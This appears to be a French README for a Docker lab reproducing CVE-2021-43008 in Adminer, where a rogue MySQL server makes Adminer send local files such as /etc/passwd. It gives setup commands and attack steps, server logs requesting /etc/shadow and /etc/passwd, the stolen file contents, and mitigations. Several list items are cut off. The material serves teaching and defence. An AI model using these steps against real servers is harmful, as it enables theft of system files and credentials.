
Environnement de démonstration pour la vulnérabilité CVE-2021-43008 d’Adminer : observer l’impact réel et tester des mesures de mitigation.
Adminer est un outil web (PHP) permettant d’administrer facilement des bases de données MySQL, PostgreSQL, SQLite ou SQL Server. Il est couramment déployé comme alternative légère à phpMyAdmin.
Versions concernées : Adminer ≤ 4.6.2
Adminer autorise la connexion à n’importe quel serveur MySQL distant. Or, lors de la connexion à un serveur MySQL, le client (ici Adminer) accepte :
Adminer ne valide pas correctement les réponses du serveur MySQL dans les versions vulnérables.
Résultat : Un serveur MySQL contrôlé par un attaquant peut demander :
“Lis ce fichier local sur la machine ou conteneur qui héberge Adminer et envoie-le moi.”
Ce mécanisme est lié au paquet MySQL :
0xFB | filename → déclenche la lecture locale du fichier.
Adminer 4.6.2 permettait à un utilisateur de spécifier un serveur MySQL externe et de s’y connecter librement. Or, MySQL permettait en plus — par défaut — l’utilisation de :
LOAD DATA LOCAL INFILEDonc : Adminer → connecte au serveur malveillant → le serveur malveillant demande un fichier → Adminer l’envoie.
C’est l’essence de la vulnérabilité.
L’attaquant doit :
LOAD DATA LOCAL INFILE.Aucun mot de passe root n’est nécessaire pour exfiltrer un fichier local : c’est Adminer qui exécute l’action en tant qu'application PHP sur le serveur cible.
L’attaquant peut :
Avec les identifiants MySQL volés (étape secondaire), il peut ensuite :
Le PoC se fait dans un environnement isolé et conteneurisé pour éviter tout risque.
localhost:80800xFB filename pour forcer Adminer à lire un fichier local.adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
Dans http://localhost:8080 :
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'./etc/passwd.stolen_file.txt.Utiliser la commande suivante pour observer les logs du rogue :
docker logs -f rogue_mysql
Résultat attendu :
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,215:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
Consulter le contenu du fichier stolen_file.txt :
docker exec -it rogue_mysql sh
Une fois à l'intérieur du conteneur, tu pourra visualiser les contenus des fichiers dont stolen_file.txt
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
Résultat :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
Ce résultat démontre la vulnérabilité sans ambiguïté.
Solution la plus fiable : Passer à Adminer ≥ 4.6.3
Les versions postérieures corrigent le comportement réseau.
À partir d’Adminer 4.7.x, plusieurs protections ont été introduites :
Adminer interdit désormais par défaut LOAD DATA LOCAL INFILE
Soit :
→ Résultat : ton rogue MySQL ne peut plus exfiltrer de fichiers.
Adminer filtre les actions du client avant envoi au serveur
Cela empêche les connexions externes d’utiliser des fonctions dangereuses.
Mécanismes supplémentaires de validation d’entrée
Les nouvelles versions vérifient :
Limiter Adminer aux seuls hôtes internes :
L’Adminer de production doit toujours pointer vers un MySQL interne.
LOCAL INFILE côté MySQLEmpêche le vol via client MySQL légitime :
[mysqld]
local_infile=0
ou :
SET GLOBAL local_infile=0;
Adminer ne doit pas être accessible sur Internet.
En production :
Adminer doit être vu comme un outil temporaire :
CVE-2021-43008 est une vulnérabilité critique d’Adminer ≤ 4.6.2 qui permet :
C’est une démonstration parfaite de l’importance :